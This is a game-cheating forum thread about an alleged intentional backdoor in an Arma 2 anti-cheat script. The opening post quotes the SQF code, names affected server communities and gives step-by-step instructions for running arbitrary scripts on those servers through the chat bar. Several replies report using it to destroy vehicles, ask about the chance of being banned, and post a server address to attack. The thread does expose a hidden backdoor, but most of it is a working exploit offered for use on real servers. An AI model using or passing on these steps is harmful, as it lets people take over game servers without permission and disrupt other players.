Anti-hack script execution backdoor

This is about a prominent script based anti-hack that shall not be named because he has buddies in the mods here that will remove it for him.

Bummed out about the BE kernel upgrade? Don't be - Voldemort's got you covered!

Two days ago Voldemort's added a backdoor method to execute scripts through the client portion of his anti-hack because he knew the kernel update was coming. He couldn't leave his friends and hack customers hanging, could he? No! So he added this little bit of code to the anti-hack:

Code:

if !(_puid in ["76561198031499135","76561198004111275","76561198052866101","76561197960280023","76561198031499135","76561198004111275","76561198052866101","76561198084854983","76561198075967807","76561197960280023","76561198012767651","76561198072359932","76561198115029610","76561198145620376","76561197970619017","76561198147383455","76561197978899881","76561197961261313","76561198039983273","76561197967539931","76561198019865758","76561198071370946","76561198005531463","76561198075160207"]) then
{
if (_txt in ['execute','adminstart','admin_start']) exitWith {
	call compile preprocessFileLineNumbers 'admin_start.sqf';
	(_display24) closeDisplay 0;
};

What does this do you ask? If you type "adminstart", "execute", or "admin_start" into your chat bar, VOLDEMORT EXECUTES "admin_start.sqf" FOR YOU! But only if you are NOT an admin on the server! LOL I guess he didn't want the actual admins stumbling onto it!

This backdoor is present on CCG, MGT, and The Walking Dead so I assume it's in the general AH sent to everyone.

To execute scripts on updated Voldemort servers:

Put your script in the Arma2OA folder in a file named "admin_start.sqf"
Don't be an admin on the server, it only works for non-admins
Enter the game and bring up the chat bar with the '/' key
enter "execute" into the chat bar but do not press enter!
Congrats! Voldemort's "anti-hack" just executed your fucking script for you! Oh god my sides

A brief history of Voldemort's intentional backdoors into his anti-cheat
Since the begining Voldemort has included default admint UIDs in his anti-cheat. These included himself and his friends, such as Big Ben. He and his friends could go to any server and get admin access.

When that got controversial, Voldemort removed his friends UIDs from the default admin UIDs, but added a sneaky backdoor. If you got into a vehicle and typed ".ban (your name)", the anti-hack would add you to the admin list and if you disconnected and reconnected to the server you would have admin controls over the server. This worked for anyone that knew of the backdoor on every server.

Voldemort kept a low profile after that until he learned from Bastian "$able" Suter that the new kernel module was going to whitelist DLLs or whatever it's doing. He couldn't leave his hack customers and Big Ben unable to hack, so he put in the simple script injection backdoor we see here.

And these stupid fucking servers keep paying him monthly fees while he gives people backdoors into their servers. Just brilliant.

Seems pretty cool. Going to try it out now.

Let me get this streight.We need rename script file into admin_start.sqf put in a root folder of arma 2 oa then join in to any server with his anti-hack.On lobby write in chat a command.And we execute our script? And is that bannable? Its server side execution so... BE detect that stuff as normal hack?

Nice read!

how do i install this script?

I tried it, "ArmA II OA: config.sqf not found" or something like that. Then my game crashed.
Gonna test again, i fucked it up somehow.
--------------------------------------------------------------------------------------------
Playing on CCG server, working! Thank you!
Damn, i did not mean to explode all vehicles :c
That was an accident.
--------------------------------------------------------------------------------------------
Lmao, i just banned myself :d

Wooooooooooooop! worked for meeeeeeeeeeeee. Cheers Doug!

This BACKDOOR HAS BEEN PRESENT SINCE ATLEAST EARLY DECEMBER 2014!!
He has changed the code slightly since then.

Early Dec code:

Code:

						if !(_puid in "+str _allAdmins+") then //if player id NOT IN ADMIN LISTS
						{
							if (_txt in ['execute','adminstart','admin_start']) exitWith {
								call compile preprocessFileLineNumbers 'admin_start.sqf';
								(_display24) closeDisplay 0;
							};

How much you all wanna bet he is going to try to shake this off as a mere typo?

Originally Posted by mark1225

This BACKDOOR HAS BEEN PRESENT SINCE ATLEAST EARLY DECEMBER 2014!!
He has changed the code slightly since then.

Early Dec code:

Code:

						if !(_puid in "+str _allAdmins+") then //if player id NOT IN ADMIN LISTS
						{
							if (_txt in ['execute','adminstart','admin_start']) exitWith {
								call compile preprocessFileLineNumbers 'admin_start.sqf';
								(_display24) closeDisplay 0;
							};

How much you all wanna bet he is going to try to shake this off as a mere typo?

Excellent info! And yes, he'll try to play it off as a typo now that he's caught. Its placement and structure makes it very obvious that it was INTENDED to be a sneaky backdoor though.

Pretty Cool Thanks Man

So whats the chances to get banned from this?

0 < chance of ban < 1
CCG hasn't patched yet.

Infistar called you a sad old man. http://pastebin.com/eamM9Vdd

Well, it's true. I AM a sad old man. Can't really argue with that. Not sure why people keep throwing that pastebin around, it's just two turds on Reddit getting mad that I hack and running their mouths. If someone really thinks my hack can't stand up to infistar's AH I'd be glad to wreck a server as a demonstration, just someone name the place.

Originally Posted by Douggem

Get these flogs at -ADK- Overpoch
72.5.195.171:2302

<3 Calello

Show proof :P

Originally Posted by Douggem

lol, i wouldn't worry about the pastebin he posted. that guy splits all his time between Arma hack forums, getting involved in other peoples affairs because no one cares about him...

Anti-hack script execution backdoor

Post a Reply

Similar Threads

Tags for this Thread